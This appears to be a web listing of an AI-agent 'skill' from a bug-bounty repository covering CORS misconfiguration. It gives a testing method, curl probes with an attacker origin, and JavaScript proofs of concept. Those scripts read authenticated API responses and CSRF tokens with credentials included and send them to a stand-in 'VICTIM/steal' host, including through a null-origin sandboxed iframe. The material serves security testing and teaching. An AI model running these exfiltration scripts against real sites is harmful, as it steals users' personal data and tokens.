Cors misconfig

From ShulkwiSEC/bb-huge · View interactive version

Cors misconfig is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. CORS misconfiguration allows attacker-controlled origins to read sensitive cross-origin responses when servers echo the `Origin` header in `Access-Control-Allow-Origin` or set it to `*` with `Access-Control-Allow-Credentials: true`. Detect via `Origin: https://attacker.com` reflection in `Access-Con

How to use this skill

Skill file

CORS Misconfiguration

What Is Broken and Why

Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.

Key Signals

Methodology

  1. Identify API endpoints and sensitive data responses.
  2. Add Origin: https://attacker-controlled.com to requests; check if it is reflected in Access-Control-Allow-Origin.
  3. Add Origin: null; check if Access-Control-Allow-Origin: null is returned.
  4. Check Access-Control-Allow-Credentials: true — if combined with origin reflection, full exploitation is possible.
  5. Test subdomain variations: Origin: https://evil.TARGET-DOMAIN to check for overly broad subdomain trust.
  6. Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
  7. Build a PoC with fetch() and credentials: include from an attacker page to confirm read access.

Payloads & Tools

# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
     -H "Cookie: session=TOKEN" \
     -v TARGET/api/user-data 2>&1 | grep -i "access-control"

# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"

# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control

# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>

# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>

# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
  var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
  // Now use csrfToken to submit CSRF-protected forms
  fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>

# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues

Bypass Techniques

Exploitation Scenarios

Scenario 1 — Account Data Exfiltration

Setup: /api/user-profile returns full user PII; server reflects any Origin with Access-Control-Allow-Credentials: true.

Trigger: Attacker hosts page with fetch('TARGET/api/user-profile', {credentials: 'include'}) → exfiltrates response.

Impact: Victim's name, email, phone number, and account details sent to attacker on page visit.

Scenario 2 — CSRF Token Theft Enabling CSRF

Setup: CSRF-protected form's token is embedded in a JSON API response on an endpoint with CORS origin reflection.

Trigger: Attacker reads /api/form-data cross-origin, extracts CSRF token, then submits forged state-change request with valid token.

Impact: CSRF protection bypassed entirely; attacker performs arbitrary authenticated actions.

Scenario 3 — Internal API Access via Null Origin

Setup: Internal API at /internal/admin-data accepts Origin: null due to developer testing configuration left in production.

Trigger: Attacker uses sandboxed iframe to send request with Origin: null and credentials: include.

Impact: Internal admin data returned to attacker-controlled page.

False Positives

Fix Patterns

Related Skills

[[csrf]] and CORS misconfiguration are tightly coupled: a CORS origin-reflection bug lets an attacker read CSRF tokens cross-origin, turning a CSRF-protected form into an exploitable target. When [[ssrf]] and CORS coexist, the server's trusted position in the internal network can be leveraged similarly — both attacks abuse trust boundaries. A [[dom-xss]] on a CORS-trusted origin can exfiltrate data from the victim's authenticated API responses. Subdomain CORS trust also expands the scope of [[cookie-attacks]] because subdomain XSS can set or read parent-domain cookies.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.